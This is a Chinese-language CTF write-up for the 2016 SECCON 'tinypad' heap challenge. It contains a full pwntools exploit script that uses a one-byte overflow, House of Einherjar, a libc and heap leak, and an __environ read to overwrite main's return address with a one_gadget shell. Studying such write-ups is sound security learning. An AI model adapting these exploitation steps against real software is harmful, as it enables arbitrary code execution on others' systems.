pwn入门(九)

2016 Seccon tinypad

程序分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

没卡pie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
+------------------------------------------------------------------------------+

# INDEX: 1
# CONTENT:

+------------------------------------------------------------------------------+

# INDEX: 2
# CONTENT:

+------------------------------------------------------------------------------+

# INDEX: 3
# CONTENT:

+------------------------------------------------------------------------------+

# INDEX: 4
# CONTENT:

+- MENU -----------------------------------------------------------------------+
| [A] Add memo |
| [D] Delete memo |
| [E] Edit memo |
| [Q] Quit |
+------------------------------------------------------------------------------+

程序看起来有点中二。。。

单字节溢出,伪代码我没看出来~gdb调试可以看到

漏洞利用

老套路,泄露libc,劫持hook

1
2
3
4
5
6
7
8
add(0x80,'a'*0x80)#1
add(0x80,'b'*0x80)#2
add(0x80,'c'*0x80)#3
add(0x80,'d'*0x80)#4
delete(1)
delete(3)
libc_base = u64(io.recv()[0x76:0x7c].ljust(8,'\x00')) - 88 - 0x3c4b20
log.success('libc_base: '+hex(libc_base))

泄露除了libc,但是没有free_hook和malloc_hook,凉凉,继续看wp,解锁新姿势:environ
environ位置的第一个就是main_ret,可以泄露出来,劫持main_ret
house of einherjar

大佬的exp
点此看大佬的解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python
# coding=utf-8
from pwn import *

elf = ELF('./tinypad')
libc = elf.libc
#io = remote('47.111.233.219',10002)
io = process('./tinypad')
context.log_level = 'debug'

def choice(idx):
io.sendlineafter("(CMD)>>> ", idx)

def add(size, content):
choice("A")
io.sendlineafter("(SIZE)>>> ", str(size))
io.sendlineafter("(CONTENT)>>> ", content)

def remove(idx):
choice("D")
io.sendlineafter("(INDEX)>>> ", str(idx))

def edit(idx, content):
choice("E")
io.sendlineafter("(INDEX)>>> ", str(idx))
io.sendlineafter("(CONTENT)>>> ", content)
io.sendlineafter("(Y/n)>>> ", "Y")

def quit():
choice("Q")

def exp():

#stage 1 leak the addr
add(0x80, '1'*0x80)
add(0x80, '2'*0x80)
add(0x80, '3'*0x80)
add(0x80, '4'*0x80)
remove(3)
remove(1)
io.recvuntil("INDEX: 1\n")
io.recvuntil(" # CONTENT: ")
heap = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x120
io.success("heap: 0x%x" % heap)
io.recvuntil("INDEX: 3\n")
io.recvuntil(" # CONTENT: ")
leak_libc = u64(io.recvline().strip().ljust(8, '\x00')) - 88
io.success("main_arena: 0x%x" %leak_libc)
libc_base = leak_libc - 0x3c4b20
remove(2)
remove(4)

#stage 2
add(0x10, '1'*0x10)
add(0x100, '2'*0xf8 + p64(0x11))
add(0x100, '3'*0xf8)
add(0x100, '4'*0xf8)
tinypad = 0x602040
offset = heap + 0x20 - (0x602040 + 0x20)
io.success("offset: 0x%x" % offset)
fake_chunk = p64(0) + p64(0x101) + p64(0x602060)*2
edit(3, "4"*0x20 + fake_chunk)
remove(1)
add(0x18, '1'*0x10 + p64(offset))
remove(2)
edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(leak_libc + 88)*2)

#stage 3
one_gadget = libc_base + 0x45216
io.success("libc_base: 0x%x" % libc_base)
environ_pointer = libc_base + libc.symbols['__environ']

io.success("environ_pointer: 0x%x" % environ_pointer)
add(0xf0, '1'*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
io.recvuntil(" # INDEX: 1\n")
io.recvuntil(" # CONTENT: ")
main_ret = u64(io.recvline().rstrip().ljust(8, '\x00')) - 0x8 * 30
io.success("main_ret: %x" % main_ret)
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
quit()

if __name__ == '__main__':
exp()
io.interactive()

总结:花了一天时间刚这道题,内存分配都看清楚了,代码的前后能看明白,中间那一块内存的变化太玄学了,house of einherjar这块可以看ctf-wiki,我写的文档不多,主要是看大佬的解析,也就没有重复写,看懂就行,主要是思想;